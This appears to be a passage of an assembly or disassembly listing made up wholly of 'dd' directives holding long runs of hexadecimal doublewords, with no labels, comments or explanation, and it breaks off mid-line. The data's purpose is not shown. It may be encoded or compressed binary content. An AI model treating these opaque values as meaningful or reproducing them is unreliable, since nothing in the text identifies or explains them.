24E9E700h, 9C634499h, 91BF00EEh, 39A6D427h, 249CF2E3h dd 77106901h, 6830135Bh, 0A1360061h, 4FF290BAh, 820354B7h dd 99213295h, 3BFFF029h, 0C258004Eh, 3C61D215h, 2F008743h dd 20EEE16Dh, 26E98157h, 5538B3h, 4638480h, 7600A651h dd 0D95B616h, 4275883h, 0F00C4B26h, 228AC37h, 400917AAh dd 3D0F41D5h, 0C4209180h, 0EB4E861Ch, 45248700h, 0FE069D59h dd 1C857864h, 7D959092h, 7EA9C580h, 0AC47711Ch, 0B100A898h dd 68882897h, 7D1398h, 4B3FB5B7h, 4C84EDA9h, 94B3C701h dd 0A12A69ACh, 781431C4h, 6F4D009Bh, 97B476C1h, 0B0768965h dd 35A89848h, 0A80058C3h, 7060F930h, 9D143AC1h, 81C56BAh dd 790E00DBh, 43D6BF37h, 2420AD00h, 0D8BD36D9h, 0E6DD007Ah dd 9CCAC9A9h, 2B307199h, 63BF98ADh, 0D40C5878h, 0C9B0CF03h dd 8800A297h, 74498323h, 0B02A59CEh, 7C0800A0h, 0F6C48CAAh dd 0E4019425h, 3E14240Dh, 0B8288333h, 4954D500h, 0B3FD7596h dd 0D8409A00h, 0A25FF7F2h, 24F63C28h, 0CA1F5C8Eh, 598112CFh dd 40ABB006h, 0BBCE9BE8h, 337FD102h, 0C065CCA1h, 58D113Eh dd 4540B85h, 7DD08021h, 0E0039CADh, 605887F4h, 0A0B1F3D2h dd 2F07B23Dh, 0D400D570h, 7DCB4741h, 8B441505h, 3AC023CCh dd 10D41Dh, 0C036961Bh, 0DD11AB61h, 0F6BC3B07h, 2710FF3Eh dd 6375C90h, 7D946C7Bh, 0B4F51A9h, 0BDB0F040h, 11AA0F3h dd 3E900773h, 24EE6B21h, 954C31B8h, 7A245435h, 720E4917h dd 4AD2AE00h, 9CDB5BEh, 8E8984E5h, 0CBBD48A0h, 7D0040D0h dd 9E11481Ah, 26D24372h, 1E308CF1h, 8B4C0017h, 619B0A9Fh dd 0E13B6273h, 8FFE8071h, 0E0FC485Fh, 0D1B80054h, 0DBF4FADAh dd 0E7008190h, 83CFC2C8h, 226993h, 5284F9B8h, 0F5D2F8B9h dd 0D75A4F00h, 0A19764ECh, 0A0270041h, 2EB3E58Dh, 0C4075EDBh dd 0EAA0D7Ch, 2AC141CEh, 93E4E103h, 7F3500E8h, 9244D5C4h dd 531F1574h, 0D4C1EBA3h, 5EACA4FBh, 4C357830h, 9C019C08h dd 96F55978h, 5CE70EAh, 4BF9DE00h, 0F22A4F48h, 4A2C03C2h dd 0FA689F6Eh, 0A30481A8h, 47902900h, 0E3E0E456h, 857A095Ch dd 7881956Dh, 6808815Fh, 7C9C5DCh, 0DA09DCD0h, 314A80h dd 2C9FF0FCh, 25F46265h, 7C3CF400h, 1BAAF883h, 63D328C2h dd 0A09C2ABAh, 4A8BE0E0h, 0A2340BB4h, 0FF851D00h, 0DD00E61Fh dd 0AAC1157Ah, 482DC983h, 5E004C25h, 34377EACh, 48008EDFh dd 0EC0C5120h, 895B6Dh, 6299E631h, 8893E570h, 0AED10C0h dd 1E1F48Eh, 0B36F6C3Eh, 2A62D207h, 0E49FEC0Bh, 70BD0098h dd 4D6ADFE7h, 1892923Ah, 949E9F07h, 25B03891h, 1CD83DFCh dd 8237D1ABh, 61896C0Ah, 0B5C208E0h, 5D096200h, 8AE650Bh dd 0E62C3F76h, 60B8F700h, 0D7ECCAC5h, 849E491Dh, 86556A80h dd 59B44h, 3FFBF958h, 986D5E21h, 0A359381Ch, 6C3B7940h dd 7549C9Ah, 8BDBC095h, 85031B69h, 40F7B650h, 3B6001CEh dd 76D82E00h, 9A9117CFh, 88E70738h, 19E16B07h, 173B8FD5h dd 74598080h, 57360219h, 0BB51F576h, 9B00660h, 37E60300h dd 0EF16B1ACh, 113800B6h, 0FDBCAB7Ch, 8013D4Dh, 9D0C9C97h dd 66CC6847h, 897009C1h, 14018FD7h, 83254E3h, 381A7D6Eh dd 3804C350h, 0F0F6F8CDh, 0A800F404h, 82CAF926h, 0B0780B05h dd 0CCA1581Bh, 63EA0073h, 0F83C1E75h, 0D00C55Dh, 1AC48FA8h dd 3409454h, 6D74A4BEh, 0F0A80339h, 0B00CE8Eh, 0D598A9C1h dd 7E1C5C42h, 16FE01A7h, 6DCF5E58h, 3BE9F85Dh, 0B80E7500h dd 7F8727D9h, 0F7D20092h, 957E1849h, 900B8012h, 0A0A97Ah dd 249E6548h, 0B0460026h, 95AE0C2h, 0F31886F8h, 1D307FEEh dd 3A3603A5h, 0DBACA106h, 7B8B2798h, 3B42BB48h, 0BE2800AAh dd 43FEB54Fh, 8A2F078Eh, 206E97D5h, 0EB04C4B9h, 16A233Eh dd 0CBA32ACDh, 40FA947Ch, 4B7F72DCh, 85C0D505h, 3A97002Ah dd 5C964004h, 0E68E5D00h, 0C86E37F7h, 1B980116h, 7A73C1F3h dd 596320D4h, 0B79B3500h, 119F19BBh, 4272004Dh, 0A5D2EFBh dd 0E0180BB0h, 0DD60FF99h, 0A99B0B7Fh, 5900B65Ch, 0DEB0641Eh dd 4947070h, 0A94A4C28h, 0D42E6000h, 74D80960h, 0C237403h dd 0A3136DB9h, 9150E021h, 8100DB1Ch, 0D1643983h, 712F0882h dd 8E580955h, 7020ACC4h, 4FD4E672h, 5CB72000h, 6DB04E7Ch dd 0EFA20312h, 940A3F92h, 0D189C480h, 6848A5F9h, 1F1C25DCh dd 300D46C5h, 5B544F68h, 0BA34A303h, 0B827E045h, 0E0CFAFDBh dd 96564814h, 9B28153Eh, 80E3027Ch, 116C2483h, 0B9786080h dd 560055FCh, 6708C450h, 3EA0AFh, 2D8D1346h, 2787F1D7h dd 39D8A500h, 1A2F45AAh, 0E47C1ECDh, 94AE41D5h, 0D02ABD95h dd 0B83E60A5h, 1095C03h, 0A65059E7h, 0E2C0480Fh, 0B4B600A9h dd 281D15EFh, 0D9EEBCF2h, 900034F6h, 0AE95CF96h, 6D5319h dd 0D5D0691Ah, 20E65D50h, 5834BF2Eh, 56DAB603h, 0C53B08Dh dd 0BC50FF90h, 940CF47h, 99F8D1BFh, 557AC203h, 64A0EDA0h dd 366B7B02h, 636DC022h, 0D0C0ADA8h, 839D7Ah, 102FC51Dh dd 32892F4h, 73C1A48h, 5A8A61DEh, 976B55B0h, 16F468h, 0F2AF6E72h dd 0A676BB23h, 50AC5D4Dh, 8A177F18h, 0DB009620h, 0EF886681h dd 3ED230B3h, 0DE39E420h, 0D16B6D02h, 80DBB491h, 0AD22320Ch dd 0A9A5007Fh, 0E54E25Ah, 390FE3BFh, 60FB8524h, 0C36C378Ch dd 8651001Ch, 450C57ACh, 7D74C846h, 81AD041Eh, 0B6A3282h dd 1A9960CAh, 0A1471C2Bh, 38307A2Ah, 0CA12E021h, 6B49ED00h dd 957034CCh, 9C6A00A9h, 32982C47h, 64489B63h, 82560354h dd 0D8556D12h, 1D2D614Ah, 831AF806h, 33E67667h, 21300830h dd 7B074641h, 0B3640161h, 0F34D78C0h, 0DB1DC00Ah, 0B6F2A18h dd 1FDED158h, 0DF944A33h, 0FC0707D9h, 0F3A1CD63h, 747823h dd 1AC2064Fh dd 4486605Ah, 30013F49h, 6F0DBC06h, 0BAC12642h, 32779CF0h dd 75C963F5h, 11063430h, 88421B01h, 0E8449835h, 0E973AB29h dd 0CE591900h, 0E01EA287h, 0C2D600F2h, 2EB6A472h, 103253Eh dd 8406881h, 21798042h, 465F1818h, 0C6D2D04Ah, 9822AC00h dd 0B00949C3h, 604D746Bh, 7F71212Ah, 0C6069FA8h, 255F1507h dd 72831C19h, 42B0002Eh, 396C7805h, 0F86960CAh, 3EB45600h dd 0E4253736h, 0F45275BEh, 0E99A002Ah, 0E71A13B5h, 0EB38D968h dd 66B8801Ch, 0A4817923h, 0B6760048h, 9AEFFEA2h, 0EB00FFD0h dd 0F698CD2Ah, 521820h, 9CB76411h, 0DF1C5755h, 0C71AD000h dd 0BBD40B61h, 0C1BC0082h, 0E8748D25h, 9A00A093h, 0C816942Ch dd 6E834Dh, 1B0588ADh, 0C98C2820h, 0A404DE03h, 0DFC27A97h dd 71645470h, 0E0CD04C3h, 80EDA309h, 9D899810h, 6CCE3502h dd 8031C28Fh, 0E1F314A5h, 43E7009Ah, 9B1D1E3Dh, 3C0796DBh dd 606571FBh, 1848D0A0h, 8D57006Eh, 3A26A452h, 3707A85Ah dd 3CFCC906h, 0C056AC42h, 4E8E6Bh, 5FC12C1Eh, 0F6DF75A4h dd 3D36D43Bh, 2612004Dh, 7245E1E8h, 849007A8h, 303441CFh dd 52890E83h, 0F2B49701h, 56A0DECAh, 8B0FFCh, 2ABC9CC4h dd 0D2B971BAh, 0DF457800h, 10E4CF5h, 0CBED0077h, 5C7B2F6Ch dd 0CD03B7E3h, 621627ABh, 0F54EF015h, 0FDEA00B3h, 780C4341h dd 0C300D5A8h, 584AF696h, 284794h, 0B16DA315h, 984B6503h dd 72CFD400h, 251EE82Fh, 0E2220042h, 0C5F3DA84h, 0DDE937BAh dd 0FDEB83h, 0B6DD3AB8h, 0FC07AE49h, 8E25E1FFh, 0CAC05DE0h dd 0DBC61E77h, 7A524CD6h, 3A007D30h, 510C5C59h, 14D53h dd 0C7D3999Fh, 0A52E0E3Eh, 803D2F0h, 0D5F0AC9Ah, 53B0FFCCh dd 0E67EE9h, 0B1CD8D87h, 11D34942h, 77C0291Fh, 0C50082D2h dd 71B9C401h, 0BB640718h, 0B0D426DAh, 0FB30CE13h, 915B0400h dd 0C64B39B2h, 0CA0C03FAh, 7DDA643h, 28117807h, 0A840BDC9h dd 1D6D077h, 2D12BAAh, 0E404F1CFh, 492CE250h, 38D5F3h dd 0CEE6A09Fh, 1CA5478Ah, 0C0755CF9h, 418D74EAh, 0C4002A92h dd 3FC9E70Eh, 1EA838BBh, 406702F8h, 0F65446AEh, 3E00B99Bh dd 7A7543C2h, 1E2216Dh, 89CAACC8h, 0C8AFE092h, 0AB07EE8Eh dd 0F96508D5h, 0A4015415h, 0E9649391h, 9D24C4h, 29A2A3E8h dd 9923F033h, 3B39FD00h, 4AEADED8h, 0D70B0E48h, 0DB0316B5h dd 0F112D563h, 0EE013CD9h, 0A1750A6Ah, 6D78F0h, 0EA8CF3ABh dd 3CC458EFh, 98654C06h, 21785399h, 0A0009524h, 0D3919EB6h dd 0E21904Bh, 68BBA897h, 5C8054EEh, 3A6FDFC6h, 0FCCE1003h dd 81B42694h, 0A0DAFEB3h, 27B2F9F4h, 0C4670ECh, 0DE1D432Ch dd 9E0011E0h, 0C80DC4E3h, 48124AD0h, 3D7F1450h, 0B0804DA2h dd 27B9F03Eh, 0DC1FCD99h, 5E8189E2h, 9DD15402h, 2368FCh dd 8519E417h, 0B7363572h, 0E5A72001h, 44DDE2CBh, 0CDE448F9h dd 553200F4h, 1F03A351h, 2C3E4B0Dh, 0F2FC8C24h, 19CA88Fh dd 0B84ABF46h, 0CC83F755h, 68774D71h, 813D38h, 0D204B5FDh dd 74F04Fh, 0F862532Ah, 812F6BD1h, 0E600CBF2h, 0AF313C27h dd 0C6E1C4h, 0E0A79E50h, 0E7940ED6h, 0C9F77900h, 0CEFBAF5Bh dd 71E100F4h, 95386EA8h, 7B00EE3Ah, 0FADA96A4h, 8D658Bh dd 6E6B1D77h, 8C0EA210h, 33AB5A00h, 0FFE6C24Bh, 7C390293h dd 28796A55h, 0D6CB9040h, 1C24F900h, 0FC5E4A0h, 0FA6B1DA3h dd 772240CAh, 2A559805h, 62F9B700h, 5813DE09h, 0C81750A9h dd 0FE5C0045h, 8EBBD1A1h, 873F69FFh, 19539D55h, 7900CC92h dd 25DF282Dh, 7FAF0064h, 0BE5D82F2h, 6B18B2ECh, 0FA189B48h dd 0C03273A8h, 626A72E8h, 6E00E3A0h, 0B9029A80h, 0CE4D9Fh dd 0ADF98EDh, 8CAAF2ADh, 836E323Ch, 31990470h, 0FE7590B6h dd 0F6360034h, 0A9F8F7E4h, 0EC03A22Ah, 29DE43D1h, 0FFAF804Ch dd 13DC0066h, 1F5B7DAh, 6028B3Bh, 0CEA94348h, 0EF3440F2h dd 45A4090Dh, 3000622Dh, 6B649C8Eh, 6C6A000h, 477C999Ah dd 33F60783h, 50815619h, 0BE539549h, 0AED4E207h, 0E23FE9Eh dd 0A478A01Ch, 0C6B9003Bh, 22D144F9h, 6B01C58Eh, 156547F6h dd 95E02F67h, 235F823h, 5A71A4ABh, 0B06337C0h, 0C4A097ABh dd 0AC9AFD42h, 0BC5DB929h, 6D6C2A00h, 0DDB887h, 0ECCA37E5h dd 8E3DAA64h, 13BCDC00h, 0C8D13BAEh, 0A4270353h, 0B4D9B977h dd 0DFB0CA8h, 9B178D00h, 1379F0A3h, 0CB630031h, 66F8678Ch dd 0E800E178h, 0CAAAC32Bh, 8227F5h, 50747522h, 0A912817Eh dd 0C9EA7F00h, 0CE4945D4h, 88F6DCh, 0BBB5135h, 3AD30A8Ch dd 66632200h, 5CABF511h, 744300A8h, 16870BB3h, 0EF25B1Dh dd 954A03Dh, 8032ECB8h, 6823C91Ch, 35A7072Bh, 3075BFFBh dd 1FDE3357h, 510EDD00h, 79A323DAh, 0D5B30EB2h, 6CE0B144h dd 0ECE9A770h, 0AF1EC000h, 4EC11F59h, 61CE0023h, 0BFB8A982h dd 0B307C254h, 278FB69Ch, 1770E641h, 0E0AB9C30h, 675002Eh dd 0EA3F4DB0h, 74032DCBh, 0B66B415Fh, 0E0808D5Eh, 7E8DF3Eh dd 0C03AA67Ah, 863A9CC6h, 0F56F48h, 0B297B3E3h, 146CCD84h dd 0DA0F0ED7h, 0E6A46D00h, 33E589BBh, 0C6AE7800h, 5E927D58h dd 69AD0349h, 0E06AA326h, 0CAB65480h, 24311100h, 0AA96D1E8h dd 0CC7993h, 2F85395Fh, 4DBA2518h, 81D5EC09h, 0C05C00DDh dd 0FA2110Eh, 0BC5E24A8h, 479B9360h, 0B607DBF1h, 0B5B1D439h dd 4692CA30h, 78F50FD6h, 0A5E7A827h, 90CB07B9h, 84E39142h dd 6B8BD303h, 88991ECAh, 73903DE4h, 0E8890054h, 0E77A8125h dd 1A05A9A2h, 8F8B9D53h, 4B11E490h, 0AA490120h, 1C0D0996h dd 64CAE95Dh, 91615714h, 0C0511D29h, 48C11ADCh, 560A95B2h dd 4249E9Dh, 0D0202DD3h, 0AFC131FCh, 0C93FF61Dh, 1D3BB203h dd 0E127E055h, 6E171DB0h, 9D6B83DFh, 0B9E8506Ah, 8112D451h dd 6A034136h, 0C8AAA325h, 1D1AC97Ah, 8C72B271h, 5661126Eh dd 0BA6F2200h, 0B79D153Fh, 0AF9A0511h, 8997E2h, 0B2BE5548h dd 12FE1093h, 1A96B3Eh, 52A07075h, 9FC88B59h, 95541E3Ch dd 86904033h, 5AFC3842h, 7D1D783Fh, 0C31E91EAh, 2D00ACADh dd 0D6B9C280h, 4BE86Ah, 37C565A4h, 7DE1699Ah, 4F354803h dd 0C3DD1DBAh, 0CBC498A9h, 32A400BBh, 3B7603ACh, 0CA38E4D3h dd 0FB8B87CDh, 0F2C0EA05h, 3FC0B33Ah, 86155397h, 0BE00BCDCh dd 4A5614ABh, 1132963Ah, 87520973h, 65101EA4h, 979829h dd 5C807D45h, 0AA04ECD0h, 0B27EA600h, 923D5F1Eh, 6090618Eh dd 0EC7CFCF5h, 0F3719F66h, 784EC913h, 47A5040h, 603565DDh dd 93BE111Bh, 3F01DFD0h, 9D4EAFD9h, 16D1B109h, 0FB0321B8h dd 95CE01D1h, 0BC4623C0h, 0AC4850D9h, 0D0049018h, 0B0F13FE4h dd 0B0802735h, 6C20D1F7h, 0DCA26A2Ah, 1C4D8C00h, 862FC4E6h dd 7EFE7908h, 35E007Eh, 7850578Fh, 0DB1472A0h, 3E9C93B4h dd 44529885h, 19E54E8h, 0B21C7061h, 30A6F88Bh, 5603A140h dd 93A4EEA3h, 90E6802Ah, 0A8E9000Dh, 7D3C2A7h, 841E7EE2h dd 7707B391h, 8EE04E0Fh, 7B42542h, 0A755ED90h, 3C4B30BCh dd 2400AD59h, 0CA9B0A3h, 0D88ACAh, 7B5F38B1h, 67C21545h dd 0E625D500h, 17862D63h, 0A77E00EAh, 5ECBC673h, 0FA3EDB7Ch dd 6A8200FBh, 2D50D829h, 36AD0061h, 0B6771674h, 4A1D5FACh dd 66408AEFh, 7B489C2Fh, 7EE6C3h, 41DEB9BFh, 6FA93847h dd 1941600h, 4CF68CA0h, 0EB2038B6h, 112E71Fh, 933FAB89h dd 976FE001h, 31710E30h dd 7A4E49D3h, 0CF920052h, 15CCFD68h, 0A50023D0h, 5CA485B5h dd 0A61A36h, 56E00FBCh, 9FB8279Ah, 0F3E9C13Ch, 9DC0BE02h dd 0B4588F7Ah, 0F2ED0014h, 2FEB72F3h, 1200E696h, 232E474h dd 3F1DAB3h, 0E3B69456h, 0EC898FBBh, 5C6FF420h, 47A81361h dd 0C08029D0h, 0BBF5F12h, 100067D6h, 74CC5807h, 689F8Ah dd 7D057AE4h, 6412F65Ah, 0F7AB1900h, 0B1BBB0FBh, 1F65300Bh dd 8D96251h, 0A8E3F588h, 6D3094h, 578C7F65h, 0B1A96011h dd 0D4C40E00h, 0A18A52B6h, 946E3069h, 47886439h, 65AA7807h dd 584075FAh, 0F497BCh, 4389AD39h, 38D7F8B6h, 682BE408h dd 3CCF142Ah, 999EC200h, 90C9B4EEh, 273D4124h, 9403B707h dd 8BCBFFC0h, 87F600F0h, 46E9EEE8h, 7B00C0C2h, 39243891h dd 0E1A37E4h, 0A02FC3ADh, 151FEF0Eh, 1228F436h, 5B3A18BBh dd 0FEC2AC18h, 0ABE05701h, 7C5FDB61h, 0F9A8A8E1h, 8EEF31E2h dd 0BEBCE608h, 72A40041h, 0FEB22A50h, 3259C0F1h, 7053C068h dd 0AD4D901Eh, 400877D9h, 474B2180h, 600AC9C0h, 7F225B0Ah dd 0DE0E9C2Bh, 0EA678004h, 787EAE98h, 47B63B41h, 0B8B113h dd 0B234389Dh, 5A039417h, 1C13C2EEh, 318008ABh, 0DB40F201h dd 46708EC0h, 58592278h, 0E400A952h, 9FD0C2CFh, 5B0015DDh dd 0EF8114B2h, 3067188Dh, 7F9B6F9h, 8B01577Dh, 0EDDE4F9Fh dd 8BB4768h, 0F60014C9h, 0CACE5781h, 6CFE33E7h, 48C2873Eh dd 8A431250h, 96E640Fh, 9C6C08A5h, 0AD8B3480h, 79D8D80h dd 2E1D0A4Ah, 2111464Dh, 0A833D61Ch, 0D415E140h, 5030475Ah dd 488A844Fh, 0C042E81Fh, 0B772FE00h, 20EDD131h, 0F671448h dd 82EF802Ah, 403B2497h, 28828EF4h, 77011FAh, 4308F1F3h dd 0D2EE8077h, 8C00FCE7h, 8F241161h, 71F49F5h, 71C42944h dd 0FDF43251h, 8BEC7C0h, 23CD5B00h, 702EEF06h, 0FCE3DB1h dd 0ED1138F0h, 9339F78Eh, 0A3C9A800h, 72076FC4h, 0C2376B8h dd 0EFB75D20h, 0FA1A0004h, 0E9B66D02h, 0B3733F58h, 80ECD900h dd 19223D7Fh, 8FA100FAh, 302650D2h, 9C1E8899h, 0D9C10A9Fh dd 2A6F7055h, 3978C3D4h, 7480C1F1h, 0E1B0DF40h, 0A40034E4h dd 3E318066h, 65A25Ch, 0CCD5DB39h, 1F7A6FEh, 580880C0h dd 72C39018h, 21A209D8h, 0C7005238h, 2E455AECh, 277B6D00h dd 34A16524h, 0BC050F6Fh, 0E6405829h, 0F50A8BA0h, 8905D9EAh dd 0EA950335h, 809C800Fh, 0F29EA552h, 0FD6C002Dh, 0CADAC818h dd 0D00E7F0h, 248C777h, 745AC9D8h, 0EDEC030Eh, 293D4F9Dh dd 645811Ch, 4488A440h, 396DDD78h, 4100E83Ch, 0E33A245Dh dd 8C1EA197h, 0CB8120F7h, 0B09FE465h, 2DAC044Fh, 9E964A1Fh dd 0AF8F160Fh, 5E8C80AFh, 9D24FE0h, 91782983h, 179D8800h dd 1501FEA7h, 125F9557h, 14420F8Dh, 0C94221F5h, 9CA6ECB2h dd 4A099200h, 0E3748F46h, 4C0303A5h, 0F2CD3025h, 8F01ED8h dd 0B9001E98h, 0C77354AEh, 0F7200Fh, 0E05B3789h, 6911D843h dd 0D01B58C3h, 0EAEF902Eh, 183701D6h, 0E3BECA75h, 0F520F4F3h dd 7DDE7F00h, 81F8A168h, 7B5A1C37h, 1D8480EDh, 40E68583h dd 76106300h, 0D1A53471h, 4E3B0073h, 242A9802h, 5E009AA0h dd 0AB8261E1h, 3B0CDADBh, 0C5804FD1h, 0E2D33271h, 0CD0EF5E5h dd 802BD59Ch, 0F1FA3BC9h, 0FF68006Eh, 0A59DAA03h, 8FE887CAh dd 7414F91Ch, 8CCD5100h, 4C49E2h, 0C5B0F62Ch, 161E7E61h dd 0E8DE20C0h, 3F5ECE71h, 758F56A0h, 0BA602A14h, 68D97B7Ch dd 3C0BCA00h, 2E731FF0h, 4B250ED6h, 0CE00EE05h, 8058ABA2h dd 0E442FD00h, 3A2F3587h, 49C8ED5Eh, 3E6401EBh, 0BCAF4D01h dd 11807081h, 1D1AA500h, 800BC32Ch, 0ACF500CFh, 903C754Bh dd 17006384h, 31D4A1A8h, 0A71106h, 0F9A946BDh, 4C20705Dh dd 69C7DE00h, 0F1412296h, 0F6E102C4h, 0A166873Eh, 52AF2C40h dd 69443800h, 72AA7911h, 227351h, 3728503Dh, 31A79033h dd 1D73F738h, 948065B9h, 0EA1BA40Ch, 645100D2h, 2FB56EA9h dd 7400C280h, 0FC5475D1h, 26F894Fh, 16D68E11h, 644859A6h dd 0C03BF3Ah, 0EC51CEF1h, 99FDA0AAh, 122B0074h, 5535052Ch dd 0B5072E25h, 1A7D0397h, 53C67800h, 69220CCEh, 26687FFDh dd 0D1B5E900h, 0FB4A1105h, 0FCD3B0A5h, 2C951E0Ah, 0AD93438Bh dd 0ABE89E75h, 900F7CEh, 0DA9B0DB8h, 30767722h, 0FF80EEBBh dd 957B81BFh, 2D10ED60h, 1DAE0F38h, 408E3989h, 86B3282h dd 99056C7Bh, 977F1775h, 1D83A780h, 8BA303E8h, 0BB72BCF4h dd 0E6E767C0h, 0C8D6DE01h, 0C5AAEA29h, 3CE040DEh, 0D28C0346h dd 796D9134h, 0B9D643D0h, 0B0AD682Ah, 5FFB4B00h, 1865F1C1h dd 5A4C0E1Dh, 0DA80A6D0h, 0B923C516h, 0A4FF6600h, 9DFDF5C3h dd 0A34700D9h, 385426ABh, 0CB0C4BAEh, 0A48AA6Bh, 0F39501A7h dd 3FB1255Bh, 0BA2434EAh, 0FA852800h, 43FC2214h, 0B3B801FDh dd 553F3E36h, 0FCE3F592h, 7F03A05Fh, 0CBB1A248h, 27A3F874h dd 7E1008Bh, 0D932CF23h, 0DF039053h, 0E7DB707Bh, 482B9A98h dd 348072Ch, 0FD5593A3h, 3903AD25h, 0AE80E346h, 17F1032Eh dd 0CA9A712h, 0CD72200Ch, 0E7518F4h, 6E81D199h, 8CC0AEE0h dd 0F03AA6E4h, 5628014h, 912C3403h, 558F004Ch, 0F2CE8738h dd 0BBEC2A21h, 0D5321B01h, 5BA63CC8h, 0F809DC21h, 80CFE2DCh dd 8300B925h, 0F0297AB4h, 78E152Ah, 38241287h, 80A4C45Eh dd 628BD2BCh, 8007E92Ch, 9C272A3Ch, 0B89EF43Eh, 0C7A60420h dd 0D4D0648Fh, 5C1371h, 246C5541h, 73F81C10h, 3E00797Eh dd 5822F9ADh, 7481DA95h, 0E84F04AAh, 90976F8Ah, 56EC133Ch dd 14A35428h, 62037100h, 12B921C0h, 3552129Fh, 2AA44868h dd 91ADC200h, 9061A030h, 0A571B8h, 0BA2977A1h, 851680F0h dd 38987948h, 0D9F58A48h, 6280B83Ch, 0DB4530D4h, 0EE9900B8h dd 0E4EB6175h, 23009218h, 0D4DEE193h, 0C0736202h, 9AE59490h dd 0F6317995h, 31DEF1BFh, 17079620h, 0DC8F09h, 1B69F91Dh dd 9B0093BCh, 40331254h, 0E072CF74h, 0B6390055h, 9E6C709Dh dd 0C309A516h, 2F62F5A8h, 20854408h, 66E124D0h, 3D5D006Bh dd 0F1D73E9Ch, 0BF01DBBBh, 4AFFECEEh, 0E0F65AACh, 6D8473h dd 0A93B4789h, 0D4A490D6h, 0C1057CF8h, 0E145DF43h, 555D800h dd 0A04EB45Ch, 0B0A5494h, 0C6837603h, 47C25A02h, 0C428ACAFh dd 72296306h, 2C2500B0h, 6F848FD6h, 0B0053C6Bh, 37BF920Fh dd 47F6DC41h, 305C8FD2h, 77A57B80h, 58990379h, 365B26B3h dd 24AF88A1h, 0C600119Ch, 490EB2A9h, 4EFC038h, 0D36CB79Fh dd 1BA882B9h, 0E5BB7521h, 9D7020h, 74889E43h, 125CD550h dd 580A0098h, 0A45ED68Ah, 0C0401E9Fh, 0BE4A852Ah, 0F596095Fh dd 1430941Bh, 26000F09h, 11C9F6E0h, 4CA3855Eh, 0A009C21h dd 9FA02961h, 5D001A88h, 9B71242Dh, 1F05BAC5h, 0DE47B8E0h dd 3CF1C115h, 0CF6996CEh, 104AF907h, 740F570h, 6ECC56EFh dd 50E0185Ch, 0C365D0Eh, 0F51A1F03h, 0F39A6C46h, 0B3F3FBh dd 19AF87B9h, 0C8200CD6h, 0A515200h, 8FB84FE2h, 57EC002Eh dd 72471506h, 0FC00CFF2h, 205D21Bh, 0CB18Bh, 7E864560h dd 6AF23AE9h, 0D07FF725h, 5BB8038Fh, 40A6A4CAh, 0AA1CA0B8h dd 87C11239h, 0DD738E4Fh, 80E731C3h, 47730D2h, 60922517h dd 0F791C062h, 0D4005004h, 0B2DE8414h, 735178A2h, 0F8BB1287h dd 111C4077h, 293DEA0Bh, 649EA500h, 9933BA98h, 0A91F0014h dd 0E7D7F69Ah, 0E04C2A3Fh dd 0F6600A8h, 0B75EC0DBh, 0D4D30063h, 0F1BF5288h, 0A10015AEh dd 47F99470h, 72CC5Eh, 0BC34221Eh, 732EB38h, 5478CE07h dd 58401FE9h, 2CD7F4A1h, 365ACh, 8639F9D3h, 0E60E6893h dd 404802F0h, 0DD960161h, 92F0FBh, 7C064F4Ah, 908C3911h dd 0D459F4F6h, 287E0B10h, 0B65400A3h, 5868560Eh, 84243886h dd 0D95B00CCh, 6B47842h, 851DE81Ch, 522AF8C3h, 0F94121CCh dd 0ED849106h, 6A0A1D39h, 668B0B47h, 0B438FC20h, 157AD8CAh dd 0F6381FF0h, 822C4C43h, 0C5723D6Ah, 4771000Ch, 0F92BBF4Ah dd 0D297090Eh, 89C66055h, 196EA8D0h, 613474B3h, 0A74BD8FBh dd 33808565h, 0E83544C0h, 9470F7E9h, 80634893h, 67043E09h dd 1400B429h, 36698184h, 7CCD4E5h, 8009C93h, 8522A562h dd 0DB3F3FE0h, 0E57CE8ACh, 8920305Eh, 980038F4h, 22B33E6Dh dd 12A6BDE4h, 2CA8BE6Bh, 3C1E21C8h, 4302EAD5h, 18AEE07h dd 2C35B5h, 1204AB3Eh, 0DFAECEh, 36EBD2C4h, 102CA646h dd 3D514C15h, 10502712h, 960AE900h, 53DEB5EBh, 3B893038h dd 0BF8D8E6Ch, 9D087700h, 0AC1D09B1h, 0C0C958CEh, 13577F0Ch dd 97F6D310h, 0E174524Ch, 6832E157h, 0DCDF600h, 6B8D37AAh dd 0C809CC7Ch, 25EB2B58h, 40CDB510h, 70D4BAF1h, 0F05B02EEh dd 0CD532CA0h, 0F1FCCCE8h, 0DB86B118h, 730C5F11h, 0A5A3067Dh dd 58193CC0h, 8BCC554Dh, 0BE9A8089h, 1683AAh, 0D121515Dh dd 0B395ADA3h, 0D2B72300h, 649CDC88h, 0C490E1h, 24F5472Ch dd 3E48688Bh, 0D60082F6h, 9F224FB6h, 0EE06FD35h, 590D26DAh dd 5FC80051h, 0F9FACF4Bh, 0EBB7AC1Fh, 0CEAB5600h, 73756FE3h dd 0B6DE0083h, 655FF85h, 3C73D7D6h, 0CD82C9h, 0F61C0EFCh dd 701E160Dh, 628C05C9h, 0E9A842AAh, 58407A7Bh, 1063040Bh dd 7D4EB58h, 3A2F8729h, 0BC483089h, 8C01D3AFh, 0A59A8EF4h dd 3FEC4A10h, 0C3410064h, 6730CD5Bh, 5007512h, 0C82F4EC9h dd 1F5EA5FAh, 35F03Ch, 91FF7984h, 0AA30C4FEh, 7DDE3848h dd 0CF7E00AEh, 81C0DAA4h, 5B00B995h, 17C9D33Ch, 1093705h dd 210ED78Bh, 20A08354h, 9F0E647Ch, 5F85ACh, 56BEE5CCh dd 14D10078h, 73E6DC83h, 3C007C6Fh, 1EE88293h, 0F0D4F01h dd 2AFEF744h, 0FF102D40h, 0B30021EDh, 472BB8C6h, 125C65B5h dd 8A2C0D13h, 4E580010h, 6025DD46h, 7877B0h, 7226B434h dd 57982F43h, 45749C00h, 0F82C4416h, 535A008Eh, 945BD1F4h dd 9226131Ch, 64008F98h, 21DC82AEh, 60B062h, 4BF89E84h dd 7618EF3Fh, 58394003h, 0A88BADD1h, 0C0731331h, 2D2F7AADh dd 8800A52Bh, 0CFFE2398h, 408D1Eh, 4C53CAD6h, 20E51C64h dd 0B520638h, 5FA37Eh, 0D1CBC74Dh, 69270056h, 90CE6659h dd 0F43AC6E4h, 0E029008Bh, 0BD602414h, 84BF003Ch, 3D689112h dd 641F9074h, 0E9806B55h, 0F97C4EBCh, 45FF0043h, 0C5888F9Fh dd 0F60CA0C4h, 4C1B8755h, 50D600EDh, 2EACA902h, 33009599h dd 60D9FC0Dh, 3D163Ch, 40ED4E7Dh, 6B37E994h, 0C8DE7800h dd 0E8FA6004h, 3342007Ch, 4F6EAB5Ah, 2F01E73Ch, 4AD05D10h dd 7760B604h, 0EF61481Bh, 4BF3007Fh, 0C1634596h, 93319BD6h dd 